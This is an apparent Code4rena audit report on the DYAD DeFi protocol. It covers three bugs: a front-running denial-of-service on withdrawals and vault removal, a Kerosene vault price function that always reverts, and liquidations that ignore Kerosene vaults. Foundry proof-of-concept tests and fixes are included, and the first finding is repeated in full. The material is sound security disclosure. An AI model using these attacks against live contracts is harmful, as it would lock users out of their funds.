DYAD - 0x175's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L127

Vulnerability details

Impact

Users subject to this attack will be unable to call the following functions in VaultManagerV2:

1. withdraw()
2. redeemDyad()
3. remove()
4. removeKerosene()

This will persist for as long as the attacker wishes to repeatedly perform the exploit—given the low cost of the attack, this extends the likelihood of a user being denied service for longer.

Proof of Concept

This vulnerability can be divided into two parts: 1. a DoS attack on withdrawing collateral and redeeming DYAD, and 2. a DoS attack on removing vaults.

DoS attack on withdrawing collateral and redeeming DYAD

When a user calls VaultManagerV2::deposit() the idToBlockOfLastDeposit mapping is updated:

function deposit(
	...
		isValidDNft(id)
) 
	...
{
  idToBlockOfLastDeposit[id] = block.number;
	...
}

idToBlockOfLastDeposit maps a dNFT’s token ID to the block.number in which the last deposit was made for that dNFT.

mapping (uint => uint) public idToBlockOfLastDeposit;

This is done so that the following check can be made in VaultManagerV2::withdraw() to prevent flash loan attacks:

function withdraw(
	...
) 
	...
{
  if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
	...
}

The issue arises due to the fact that anyone can deposit collateral into a dNFT’s vault, even if they do not own that dNFT. An attacker can front run a user’s withdrawal and deposit into their dNFT’s vault—updating idToBlockOfLastDeposit and causing the above check to fail.

Note: this also affects VaultManagerV2::redeemDyad() as withdraw() is called within the function. An attacker does not have to deposit any assets when front running as they can pass 0 as amount to deposit().

DoS attack on removing vaults

When removing a vault from a dNFT, a check is made to ensure there are no assets in the vault:

function remove(
		...
) 
	...
{
  if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();
	...
}

function removeKerosene(
		...
) 
	...
{
  if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();
	...
}

An attacker can front run a user’s call to remove() or removeKerosene() and deposit a dust amount of collateral or Kerosene into the vault they’re trying to remove—causing the above checks to fail.

Test

The following test demonstrates both parts of the vulnerability. Steps to run:

1. Create a file in 2024-04-dyad/test and name it VaultManagerV2.t.sol
2. Pass your RPC URL to createSelectFork()
3. Run forge t --mp test/VaultManagerV2.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import { Test } from "forge-std/Test.sol";
import { ERC20 } from "@solmate/src/tokens/ERC20.sol";
import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol";
import { DNft } from "../src/core/DNft.sol";
import { Dyad } from "../src/core/Dyad.sol";
import { Licenser } from "../src/core/Licenser.sol";
import { IVaultManager } from "../src/interfaces/IVaultManager.sol";
import { Vault } from "../src/core/Vault.sol";
import { IAggregatorV3 } from "../src/interfaces/IAggregatorV3.sol";

contract VaultManagerV2Test is Test {
    VaultManagerV2 vaultManagerV2;
    Vault wstETHVault;
    ERC20 wstETH;
    DNft dNft;

    function setUp() public {
        vm.createSelectFork("");
        Licenser licenser = new Licenser();
        dNft = new DNft();
        vaultManagerV2 = new VaultManagerV2(DNft(dNft), new Dyad(Licenser(licenser)), Licenser(licenser));
        wstETH = ERC20(payable(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0));
        wstETHVault = new Vault(IVaultManager(vaultManagerV2), ERC20(wstETH), IAggregatorV3(0xCfE54B5cD566aB89272946F602D76Ea879CAb4a8));
        vm.prank(licenser.owner());
        licenser.add(address(wstETHVault));
    }
    
    function test_DoS() public {
        address alice = makeAddr("alice");
        address attacker = makeAddr("attacker");

        // mint alice a dNFT and deal her 1 wstETH
        uint256 id = dNft.mintNft(alice);
        deal(address(wstETH), alice, 1e18);

        // deal the attacker a dust amount of wstETH
        deal(address(wstETH), attacker, 1);

        // alice deposits
        vm.startPrank(alice);
        vaultManagerV2.add(id, address(wstETHVault));
        wstETH.approve(address(vaultManagerV2), 1e18);
        vaultManagerV2.deposit(id, address(wstETHVault), 1e18);
        vm.stopPrank();

        // ensure some time rolls over 
        vm.roll(block.number + 100);

        // alice attempts to withdraw
        vm.prank(attacker);
        // the attacker front runs here, depositing 0
        vaultManagerV2.deposit(id, address(wstETHVault), 0);
        vm.prank(alice);
        // DoS here
        vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
        vaultManagerV2.withdraw(id, address(wstETHVault), 1e18, alice);

        // alice eventually withdraws
        vm.roll(block.number + 100);
        vm.prank(alice);
        vaultManagerV2.withdraw(id, address(wstETHVault), 1e18, alice);

        // alice attempts to remove the vault
        vm.startPrank(attacker);
        wstETH.approve(address(vaultManagerV2), 1);
        // the attacker front runs here, depositing a dust amount
        vaultManagerV2.deposit(id, address(wstETHVault), 1);
        vm.stopPrank();
        vm.prank(alice);
        // DoS here
        vm.expectRevert(IVaultManager.VaultHasAssets.selector);
        vaultManagerV2.remove(id, address(wstETHVault));
    }
}

Tools Used

Manual review & Foundry.

Recommended Mitigation Steps

Consider restricting depositing into another user’s dNFT vaults to only approved depositors. VaultManagerV2.sol#L119-L131:

+		mapping (uint => mapping(address => bool)) approvedDepositors;
		...
+		function approveDepositor(
+			uint    id,
+			address depositor,
+			bool    isApproved
+		)
+			external
+			  isDNftOwner(id)
+		{
+		  approvedDepositors[id][depositor] = isApproved;
+		}
		...
		function deposit(
			uint    id,
			address vault,
			uint    amount
		) 
		external 
		  isValidDNft(id)
		{
+		  require(approvedDepositors[id][msg.sender] || dNft.ownerOf(id) == msg.sender, "Depositor not approved or not owner");
			idToBlockOfLastDeposit[id] = block.number;
			Vault _vault = Vault(vault);
			_vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
			_vault.deposit(id, amount);
		}

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L56

Vulnerability details

Impact

Users who deposit Kerosene into a Kerosene vault will be unable to withdraw their tokens, and the tokens will be locked in the vault in which they were deposited.

Proof of Concept

The value of Kerosene is defined within the protocol. Part of calculating the value of Kerosene requires getting the total USD value of all exogenous collateral in the protocol (TVL)—excluding Kerosene itself. UnboundedKerosineVault::assetPrice() intends to calculate the asset price:

function assetPrice() 
...
  returns (uint) {
    uint tvl;
    address[] memory vaults = kerosineManager.getVaults();
    uint numberOfVaults = vaults.length;
    for (uint i = 0; i < numberOfVaults; i++) {
      Vault vault = Vault(vaults[i]);
      tvl += vault.asset().balanceOf(address(vault)) 
							...
              / (10**vault.oracle().decimals());
    }
...
}

The issue is that the vaults retrieved using kerosineManager.getVaults() are Kerosene vaults, not exogenous collateral vaults. The function then attempts to retrieve the oracle decimals by calling vault.oracle().decimals(), however since each vault is wrongly a Kerosene vault—and the KerosineVault contract does not declare an oracle as exogenous vaults do—this call will always revert.

To withdraw Kerosene from the vault manager users must call VaultManagerV2::withdraw():

function withdraw(
  uint    id,
  address vault,
  uint    amount,
  address to
) 
	...
{
	...
  Vault _vault = Vault(vault);
  uint value = amount * _vault.assetPrice() 
	...
}

_vault.assetPrice() is called within this function, and since UnboundedKerosineVault::assetPrice() always reverts users will be unable to withdraw their Kerosene.

Important notes:

1. If a dNFT’s position faces liquidation it will not be possible to liquidate this position if the dNFT has assets deposited in a Kerosene vault. This is because during VaultManagerV2::liquidate(), vault.getUsdValue is called—which calls assetPrice():

function getUsdValue(
..
)
..
  returns (uint) {
    return id2asset[id] * assetPrice() / 1e8;
}

2. Users will be unable to redeem their DYAD for Kerosene as assetPrice() is called in VaultManagerV2::redeemDyad().

Test

Steps to run:

1. Create a file in 2024-04-dyad/test and name it VaultManagerV2.t.sol
2. Pass your RPC URL to createSelectFork()
3. Run forge t --mp test/VaultManagerV2.t.sol -vvvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import { Test } from "forge-std/Test.sol";
import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol";
import { DNft } from "../src/core/DNft.sol";
import { Dyad } from "../src/core/Dyad.sol";
import { Licenser } from "../src/core/Licenser.sol";
import { KerosineManager } from "../src/core/KerosineManager.sol";
import { UnboundedKerosineVault } from "../src/core/Vault.kerosine.unbounded.sol";
import { KerosineDenominator } from "../src/staking/KerosineDenominator.sol";
import { IVaultManager } from "../src/interfaces/IVaultManager.sol";
import { Kerosine } from "../src/staking/Kerosine.sol";
import { BoundedKerosineVault } from "../src/core/Vault.kerosine.bounded.sol";
import { ERC20 } from "@solmate/src/tokens/ERC20.sol";

contract VaultManagerV2Test is Test {
    DNft dNft;
    VaultManagerV2 vaultManagerV2;
    Kerosine kerosine;
    UnboundedKerosineVault unboundedKerosineVault;

    function setUp() public {
        vm.createSelectFork("");
        Licenser licenser = new Licenser();
        Dyad dyad = new Dyad(Licenser(licenser));
        dNft = new DNft();
        vaultManagerV2 = new VaultManagerV2(DNft(dNft), Dyad(dyad), Licenser(licenser));
        kerosine = new Kerosine();
        KerosineManager kerosineManager = new KerosineManager();
        vaultManagerV2.setKeroseneManager(KerosineManager(kerosineManager));
        unboundedKerosineVault = new UnboundedKerosineVault(IVaultManager(vaultManagerV2), ERC20(kerosine), Dyad(dyad), KerosineManager(kerosineManager));
        unboundedKerosineVault.setDenominator(new KerosineDenominator(Kerosine(kerosine)));
        kerosineManager.add(address(unboundedKerosineVault));
    }
    
    function test_Revert() public {
        // make an address for alice, deal her Kerosene and mint her a dNFT
        address alice = makeAddr("alice");
        deal(address(kerosine), alice, 1e18);
        uint256 id = dNft.mintNft(alice);

        // alice successfully deposits Kerosene
        vm.startPrank(alice);
        vaultManagerV2.addKerosene(id, address(unboundedKerosineVault));
        kerosine.approve(address(vaultManagerV2), 1e18);
        vaultManagerV2.deposit(id, address(unboundedKerosineVault), 1e18);
        vm.stopPrank();

				// avoid depositing in the same block
        vm.roll(block.number + 1);

        // alice is unable to to withdraw her Kerosene
        vm.prank(alice);
        vm.expectRevert();
        vaultManagerV2.withdraw(id, address(unboundedKerosineVault), 1e18, alice);
    }
}

Tools Used

Manual review & Foundry.

Recommended Mitigation Steps

Use non-Kerosene vaults in assetPrice(). Vault.kerosine.unbounded.sol#L50-L68:

		function assetPrice() 
		  ...
		  returns (uint) {
		    ...
-		    address[] memory vaults = kerosineManager.getVaults();
+		    address[] memory vaults = licenser.getVaults();
		    ...
		}

Note: this would require the protocol implementing getVaults() in the Licenser contract.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Impact

Liquidators will not receive the correct amount of assets when liquidating. Users will be disincentivized from liquidating positions backed by Kerosene. Malicious actors aware of this vulnerability can add Kerosene to their vault to decease the incentive of another user liquidating their position.

Proof of Concept

VaultManagerV2::liquidate() iterates through each vault in the vaults mapping:

function liquidate(
	...
) 
	...
  {
		...
    uint numberOfVaults = vaults[id].length();
    for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault      = Vault(vaults[id].at(i));
        uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
        vault.move(id, to, collateral);
    }
	  ...
}

There is a separate mapping for Kerosene vaults, vaultsKerosene:

mapping (uint => EnumerableSet.AddressSet) internal vaults; 
mapping (uint => EnumerableSet.AddressSet) internal vaultsKerosene;

This mapping is not accounted for during liquidations, therefore only the non Kerosene collateral will be moved to the liquidator and the target will keep the Kerosene.

Tools Used

Manual review and Foundry.

Recommended Mitigation Steps

Ensure VaultManager::VaultManagerV2() accounts for Kerosene vaults. VaultManagerV2.sol#L205-L228:

	function liquidate(
	  uint id,
	  uint to
	) 
	  external 
	    isValidDNft(id)
	    isValidDNft(to)
	  {
	    ...
	    uint numberOfVaults = vaults[id].length();
	    for (uint i = 0; i < numberOfVaults; i++) {
	        Vault vault      = Vault(vaults[id].at(i));
	        uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
	        vault.move(id, to, collateral);
	    }
	+   uint numberOfKeroseneVaults = vaultsKerosene[id].length();
	+   for (uint i = 0; i < numberOfKeroseneVaults; i++) {
	+       Vault keroseneVault = Vault(vaultsKerosene[id].at(i));
	+       uint kerosene = keroseneVault.id2asset(id).mulWadUp(liquidationAssetShare);
	+       keroseneVault.move(id, to, kerosene);
	+   }
	    ...
	}

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L127

Vulnerability details

Impact

Users subject to this attack will be unable to call the following functions in VaultManagerV2:

1. withdraw()
2. redeemDyad()
3. remove()
4. removeKerosene()

This will persist for as long as the attacker wishes to repeatedly perform the exploit—given the low cost of the attack, this extends the likelihood of a user being denied service for longer.

Proof of Concept

This vulnerability can be divided into two parts: 1. a DoS attack on withdrawing collateral and redeeming DYAD, and 2. a DoS attack on removing vaults.

DoS attack on withdrawing collateral and redeeming DYAD

When a user calls VaultManagerV2::deposit() the idToBlockOfLastDeposit mapping is updated:

function deposit(
	...
		isValidDNft(id)
) 
	...
{
  idToBlockOfLastDeposit[id] = block.number;
	...
}

idToBlockOfLastDeposit maps a dNFT’s token ID to the block.number in which the last deposit was made for that dNFT.

mapping (uint => uint) public idToBlockOfLastDeposit;

This is done so that the following check can be made in VaultManagerV2::withdraw() to prevent flash loan attacks:

function withdraw(
	...
) 
	...
{
  if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
	...
}

The issue arises due to the fact that anyone can deposit collateral into a dNFT’s vault, even if they do not own that dNFT. An attacker can front run a user’s withdrawal and deposit into their dNFT’s vault—updating idToBlockOfLastDeposit and causing the above check to fail.

Note: this also affects VaultManagerV2::redeemDyad() as withdraw() is called within the function. An attacker does not have to deposit any assets when front running as they can pass 0 as amount to deposit().

DoS attack on removing vaults

When removing a vault from a dNFT, a check is made to ensure there are no assets in the vault:

function remove(
		...
) 
	...
{
  if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();
	...
}

function removeKerosene(
		...
) 
	...
{
  if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();
	...
}

An attacker can front run a user’s call to remove() or removeKerosene() and deposit a dust amount of collateral or Kerosene into the vault they’re trying to remove—causing the above checks to fail.

Test

The following test demonstrates both parts of the vulnerability. Steps to run:

1. Create a file in 2024-04-dyad/test and name it VaultManagerV2.t.sol
2. Pass your RPC URL to createSelectFork()
3. Run forge t --mp test/VaultManagerV2.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import { Test } from "forge-std/Test.sol";
import { ERC20 } from "@solmate/src/tokens/ERC20.sol";
import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol";
import { DNft } from "../src/core/DNft.sol";
import { Dyad } from "../src/core/Dyad.sol";
import { Licenser } from "../src/core/Licenser.sol";
import { IVaultManager } from "../src/interfaces/IVaultManager.sol";
import { Vault } from "../src/core/Vault.sol";
import { IAggregatorV3 } from "../src/interfaces/IAggregatorV3.sol";

contract VaultManagerV2Test is Test {
    VaultManagerV2 vaultManagerV2;
    Vault wstETHVault;
    ERC20 wstETH;
    DNft dNft;

    function setUp() public {
        vm.createSelectFork("");
        Licenser licenser = new Licenser();
        dNft = new DNft();
        vaultManagerV2 = new VaultManagerV2(DNft(dNft), new Dyad(Licenser(licenser)), Licenser(licenser));
        wstETH = ERC20(payable(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0));
        wstETHVault = new Vault(IVaultManager(vaultManagerV2), ERC20(wstETH), IAggregatorV3(0xCfE54B5cD566aB89272946F602D76Ea879CAb4a8));
        vm.prank(licenser.owner());
        licenser.add(address(wstETHVault));
    }
    
    function test_DoS() public {
        address alice = makeAddr("alice");
        address attacker = makeAddr("attacker");

        // mint alice a dNFT and deal her 1 wstETH
        uint256 id = dNft.mintNft(alice);
        deal(address(wstETH), alice, 1e18);

        // deal the attacker a dust amount of wstETH
        deal(address(wstETH), attacker, 1);

        // alice deposits
        vm.startPrank(alice);
        vaultManagerV2.add(id, address(wstETHVault));
        wstETH.approve(address(vaultManagerV2), 1e18);
        vaultManagerV2.deposit(id, address(wstETHVault), 1e18);
        vm.stopPrank();

        // ensure some time rolls over 
        vm.roll(block.number + 100);

        // alice attempts to withdraw
        vm.prank(attacker);
        // the attacker front runs here, depositing 0
        vaultManagerV2.deposit(id, address(wstETHVault), 0);
        vm.prank(alice);
        // DoS here
        vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
        vaultManagerV2.withdraw(id, address(wstETHVault), 1e18, alice);

        // alice eventually withdraws
        vm.roll(block.number + 100);
        vm.prank(alice);
        vaultManagerV2.withdraw(id, address(wstETHVault), 1e18, alice);

        // alice attempts to remove the vault
        vm.startPrank(attacker);
        wstETH.approve(address(vaultManagerV2), 1);
        // the attacker front runs here, depositing a dust amount
        vaultManagerV2.deposit(id, address(wstETHVault), 1);
        vm.stopPrank();
        vm.prank(alice);
        // DoS here
        vm.expectRevert(IVaultManager.VaultHasAssets.selector);
        vaultManagerV2.remove(id, address(wstETHVault));
    }
}

Tools Used

Manual review & Foundry.

Recommended Mitigation Steps

Consider restricting depositing into another user’s dNFT vaults to only approved depositors. VaultManagerV2.sol#L119-L131:

+		mapping (uint => mapping(address => bool)) approvedDepositors;
		...
+		function approveDepositor(
+			uint    id,
+			address depositor,
+			bool    isApproved
+		)
+			external
+			  isDNftOwner(id)
+		{
+		  approvedDepositors[id][depositor] = isApproved;
+		}
		...
		function deposit(
			uint    id,
			address vault,
			uint    amount
		) 
		external 
		  isValidDNft(id)
		{
+		  require(approvedDepositors[id][msg.sender] || dNft.ownerOf(id) == msg.sender, "Depositor not approved or not owner");
			idToBlockOfLastDeposit[id] = block.number;
			Vault _vault = Vault(vault);
			_vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
			_vault.deposit(id, amount);
		}

Assessed type

DoS